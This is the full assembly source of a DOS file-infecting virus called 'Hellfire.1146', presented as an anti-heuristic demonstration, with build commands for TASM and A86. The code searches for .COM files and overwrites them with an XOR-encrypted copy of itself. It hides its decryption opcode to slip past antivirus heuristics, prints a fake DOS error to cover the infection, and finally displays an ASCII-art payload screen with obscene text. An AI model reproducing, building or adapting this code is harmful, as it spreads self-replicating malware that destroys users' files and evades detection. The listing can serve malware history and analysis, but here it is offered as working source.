; ===========================================================================
; Hellfire.1146 Anti-Heuristic Demonstration Virus     Written by Gothmog/DHA
; ===========================================================================
;
; Assumes TASM v4.00 or v5.00 or A86 Macro Assembler v4.02;  other assemblers
; may work, but are not personally tested or quality assured.
;
; Assemble with: tasm /m2 hell1146.asm     (/m1 creates an 1148 byte variant)
;                tlink /t hell1146.obj
;
; Alternately:   a86 hell1146.asm hell1146.com   (makes an 1157 byte variant)

.model tiny
.code

        org     100h

startvirus:
        call    decrypt

start_encrypt:
        mov     ah, 4Eh

findfile:
        mov     cx, 07h
        mov     dx, offset com_mask
        int     21h
        jc      writemessage

        mov     dx, 9Eh
        mov     ax, 3D00h
        int     21h
        xchg    ax, bx

readFile:
        mov     ah, 3Fh
        mov     cx, 01h
        mov     dx, offset bugger
        int     21h

closeFile:
        mov     ah, 3Eh
        int     21h

checkfile:
        mov     ah, 4Fh

        cmp     byte ptr[bugger], 0E8h
        je      findfile

        cmp     word ptr cs:[9Ah], offset endvirus-offset startvirus
        jl      findfile

filegood:
        mov     ax, 2524h
        mov     dx, offset [Int24Handler+bp]
        int     21h

        mov     ax, 4300h
        mov     dx, 9Eh
        int     21h

        push    cx

        mov     ax, 4301h
        xor     cx, cx
        int     21h

        mov     ax, 3D02h
        int     21h
        xchg    ax, bx

infectfile:
        mov     ah, 2Ch
        int     21h
        mov     key, dx

        mov     ah, 40h
        push    ax

        mov     cx, offset endvirus - offset startvirus
        push    cx

        mov     dx, offset startvirus

        jmp     writefile

writefakeerror:
        mov     ax, 4301h
        mov     dx, 9Eh
        pop     cx
        int     21h

        mov     ax, 5701h
        mov     cx, word ptr cs:[096h]
        mov     dx, word ptr cs:[098h]
        int     21h

        mov     ah, 09h
        mov     dx, offset fakeerror
        int     21h

quitvirus:
        int     20h

writemessage:
        mov     ah, 0Fh
        int     10h

        xor     ah, ah
        int     10h

        mov     ah, 01h
        mov     cx, 2607h
        int     10h

        mov     ax, 0B800h
        mov     es, ax
        mov     cx, 815
        mov     si, offset msghellfire
        xor     di, di

uncrunch:
        xor     dx, dx
        xor     ax, ax
        cld

loop_a:
        lodsb
        cmp     al, 32
        jc      foreground
        stosw

next:
        loop    loop_a
        jmp     done

foreground:
        cmp     al, 16
        jnc     background
        and     ah, 0F0h
        or      ah, al
        jmp     next

background:
        cmp     al, 24
        jz      next_line
        jnc     flash_bit_toggle
        sub     al, 16
        add     al, al
        add     al, al
        add     al, al
        add     al, al
        and     ah, 8Fh
        or      ah, al
        jmp     next

next_line:
        add     dx, 160
        mov     di, dx
        jmp     next

flash_bit_toggle:
        cmp     al, 27
        jc      multi_output
        jnz     next
        xor     ah, 128
        jmp     next

multi_output:
        cmp     al, 25
        mov     bx, cx
        lodsb
        mov     cl, al
        mov     al, 32
        jz      start_output
        lodsb
        dec     bx

start_output:
        xor     ch, ch
        inc     cx
        rep     stosw
        mov     cx, bx
        dec     cx
        loopnz  loop_a

done:
        jmp     done

Int24Handler:
        mov     al, 03h
        iret

com_mask        db      '*.com', 0
fakeerror       db      'Bad command or file name', 0Dh, 0Ah, '$'
msghellfire     db      8,16,26,'O°',24,26,'O°',24,26,'O°',24,26,11,'°',15,20
                db      'Ú',26,'3Ä¿',8,16,26,13,'°',24,26,11,'°',15,20,'³  ',12
                db      26,6,'/  ',14,'uh oh, you',39,'ve been infected with'
                db      ' a virus ',15,'³',7,16,'±±',8,26,11,'°',24,26,11,'°'
                db      15,20,'³  ',12,'//',25,3,'O',25,2,15,27,'Ò  Â ÒÄÄ¿ Ò'
                db      25,3,'Ò',25,3,'ÒÄÄ¿ ÄÒÄ ÒÄÄ¿ ÒÄÄ¿  ',27,'³',7,16,'±±'
                db      8,26,11,'°',24,26,11,'°',15,20,'³ ',12,'//',25,5,'> '
                db      ' ',15,27,'ÇÄÄ´ ÇÄ',25,2,'º',25,3,'º',25,3,'ÇÄ',25,3,'º'
                db      '  ÇÄÂÙ ÇÄ',25,3,27,'³',7,16,'±±',8,26,11,'°',24,26,11
                db      '°',15,20,'³  ',12,'/ \__ ~',25,2,15,27,'Ð  Á ÐÄÄÙ Ð'
                db      'ÄÄÙ ÐÄÄÙ Ð',25,3,'ÄÐÄ Ð Á  ÐÄÄÙ  ',27,'³',7,16,'±±',8
                db      26,11,'°',24,26,11,'°',15,20,'³',25,3,12,'||',25,26,26
                db      4,'/',25,13,15,'³',7,16,'±±',8,26,11,'°',24,26,11,'°'
                db      15,20,'³  ',12,'(\ \)',25,2,'(~)',25,19,'//  o',25,13
                db      15,'³',7,16,'±±',8,26,11,'°',24,26,11,'°',15,20,'³  '
                db      12,'( \ \  / /',25,19,'//',25,3,'>',25,12,15,'³',7,16
                db      '±±',8,26,11,'°',24,26,11,'°',15,20,'³  ',12,'(  \ \'
                db      '/ /',25,8,26,11,'_/ \__O',25,13,15,'³',7,16,'±±',8,26
                db      11,'°',24,26,11,'°',15,20,'³  ',12,'(',25,2,'\__/',25
                db      8,'/  ___ ',26,5,'_\//',25,16,15,'³',7,16,'±±',8,26,11
                db      '°',24,26,11,'°',15,20,'³  ',12,'/',25,2,'| /@',25,7,'('
                db      '  /  / ',26,5,'_)/',25,17,15,'³',7,16,'±±',8,26,11,'°'
                db      24,26,11,'°',15,20,'³ ',12,'(',25,3,'|//',25,9,'\ \ '
                db      '/ /',25,2,'(_)',25,19,15,'³',7,16,'±±',8,26,11,'°',24
                db      26,11,'°',15,20,'³  ',12,'\',25,2,'()',25,11,'\ \O/',25
                db      26,15,'³',7,16,'±±',8,26,11,'°',24,26,11,'°',15,20,'³'
                db      25,2,12,'\  |',25,13,') )',25,27,15,'³',7,16,'±±',8,26
                db      11,'°',24,26,11,'°',15,20,'³',25,3,12,') )',25,12,'/'
                db      ' /',25,28,15,'³',7,16,'±±',8,26,11,'°',24,26,11,'°',15
                db      20,'³',25,2,12,'(  |_',25,10,'/ /_  ',10,'so, do you'
                db      ' like taking it  ',15,'³',7,16,'±±',8,26,11,'°',24,26
                db      11,'°',15,20,'³',25,2,12,'(',26,3,'_>',25,8,'(',26,3,'_'
                db      '>',25,7,10,'up the ass?',25,8,15,'³',7,16,'±±',8,26,11
                db      '°',24,26,11,'°',15,20,'À',26,'3ÄÙ',7,16,'±±',8,26,11
                db      '°',24,26,13,'°',7,26,'5±',8,26,11,'°',24,26,'O°',24,26
                db      'O°',24,26,'O°',24

end_encrypt     equ     $ - 1

writefile:
        call    encrypt
        pop     cx
        pop     ax
        int     21h
        call    decrypt
        jmp     writefakeerror

encrypt:
decrypt:
        mov     si, offset start_encrypt
        mov     di, si
        mov     cx, (end_encrypt - start_encrypt + 1) / 2

xorLoop:
        lodsw
        jmp     hahahahaha

oioioioioi:
        stosw
        loop    xorLoop
        ret

hahahahaha:
        db      35h

key             dw      0000

        jnc     oioioioioi

endvirus:

bugger          db      ?
f_attr          db      09h dup (?)

        end     startvirus

; ============================================================[ code ends ]==